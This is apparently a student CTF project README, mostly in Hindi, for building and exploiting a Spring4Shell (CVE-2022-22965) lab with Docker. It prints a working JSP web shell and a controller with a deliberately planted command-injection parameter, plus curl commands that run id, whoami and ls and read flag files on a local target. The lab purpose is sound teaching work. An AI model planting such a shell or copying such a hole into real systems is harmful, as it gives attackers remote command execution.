
Spring4Shell (CVE-2022-22965) 漏洞環境搭建與 CTF 題目
इस परियोजना में सुरक्षा अनुसंधान का एक दोहरा-ट्रैक कार्यान्वयन शामिल है:
प्रतिभागी रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के माध्यम से सुरागों का अनुसरण करते हुए सिस्टम रूट निर्देशिका या अस्थायी निर्देशिका में Flag पढ़ेंगे।
# पैकेज रिपॉजिटरी अपडेट करें
sudo apt update
# Docker और Docker Compose स्थापित करें
sudo apt install docker.io docker-compose -y
# Docker सेवा शुरू करें
sudo systemctl start docker
sudo systemctl enable docker
# Vulhub प्रोजेक्ट क्लोन करें
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# Spring4Shell भेद्यता निर्देशिका में प्रवेश करें
cd vulhub/spring/CVE-2022-22965
# Docker कंटेनर प्रारंभ करें
sudo docker-compose up -d
# कंटेनर के सामान्य रूप से चलने की पुष्टि करें
sudo docker ps
ब्राउज़र खोलकर http://localhost:8080/?name=Hacker&age=99 पर जाएँ।
अनुमानित समाधान को बाहर करने और स्वतंत्र विकास परिदृश्य को पुन: प्रस्तुत करने के लिए, यह परियोजना एक स्वतंत्र प्रोजेक्ट Spring4Shell-Custom-CTF स्थापित करती है। पहले वातावरण की पूर्ण सफाई करें, फिर बिना कैश के संकलन और प्रारंभ करें:
# पुराना वातावरण साफ़ करें
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# प्रोजेक्ट निर्देशिका संरचना बनाएं और पूरी तरह से स्वनिर्मित Java स्रोत कोड तैयार करें (pom.xml, UserController.java आदि सहित)
# दो-चरणीय संकलन (Maven + Tomcat 9) के माध्यम से स्व-निर्मित Flag को सिस्टम रूट /flag.txt पर सटीक रूप से रखें
sudo docker-compose build --no-cache
sudo docker-compose up -d
# स्व-निर्मित लक्ष्य कंटेनर के सामान्य रूप से चलने की पुष्टि करें
sudo docker ps
सफल हमले के बाद, बैकडोर फ़ाइल webapps/ROOT/tomcatwar.jsp पर लिखी जाती है, जिसकी सामग्री इस प्रकार है:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
स्व-निर्मित UserController.java में, जानबूझकर POJO ऑब्जेक्ट बाइंडिंग सुरक्षा दोष को बरकरार रखा गया है, और एक अनधिकृत कमांड इंजेक्शन चैनल अंतर्निहित रूप से मौजूद है:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// सीधे Java Runtime को कॉल करके अंतर्निहित कमांड निष्पादित करें और परिणाम लौटाएँ
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... स्ट्रीम पढ़ने का तर्क ...
}
return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}
id कमांड निष्पादित करें# Vulhub बैकडोर पथ
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# कस्टम वातावरण नियंत्रण पथ
curl "http://localhost:8080/?cmd=id"
# Vulhub बैकडोर पथ
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# कस्टम वातावरण नियंत्रण पथ
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User ऑब्जेक्ट प्रकार सहित)। Flag सर्वर सिस्टम रूट निर्देशिका में स्थित है।/flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 पर जाएँ और पैरामीटर बाइंडिंग कार्यक्षमता की पुष्टि करें।tomcatwar.jsp बैकडोर को बलपूर्वक लिखें।http://<target>:8080/tomcatwar.jsp?cmd=id पर जाकर RCE सफलता की पुष्टि करें।curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" निष्पादित करें।समस्या समाधानकर्ता (पहचान B) समस्या निर्माता द्वारा प्रदान की गई ज्ञात जानकारी घोषणा के अनुसार, अनुमान लगाने से इनकार करते हुए, मानकीकृत कोड निष्पादित करता है:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root प्राप्त हो गया है।curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # परियोजना विवरण फ़ाइल
├── docker-compose.yml # कंटेनर ऑर्केस्ट्रेशन कॉन्फ़िगरेशन फ़ाइल
├── Dockerfile # दो-चरणीय संकलन छवि सेटिंग
├── pom.xml # Maven परियोजना कॉन्फ़िगरेशन फ़ाइल
├── src/ # स्व-निर्मित Java परिणाम प्रदर्शन प्रणाली स्रोत कोड
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # स्थानीय Flag स्रोत फ़ाइल
├── screenshots/ # परिणाम प्रदर्शन और हमले के स्क्रीनशॉट
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # पुरानी बैकडोर फ़ाइल स्रोत कोड
| भूमिका | नाम | कार्य सामग्री |
|---|---|---|
| सदस्य A | 黃鈺婷 | वातावरण सेटअप, संपूर्ण परियोजना Java स्रोत कोड लेखन, Docker पैकेजिंग, CTF मानक 5-चरणीय समाधान |
| सदस्य B | 利蓁琳 | सैद्धांतिक अनुसंधान, प्रस्तुति निर्माण, रिपोर्ट वीडियो संपादन, समाधान स्क्रिप्ट तैयारी |
यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। कृपया इसका उपयोग अनधिकृत प्रणालियों पर न करें।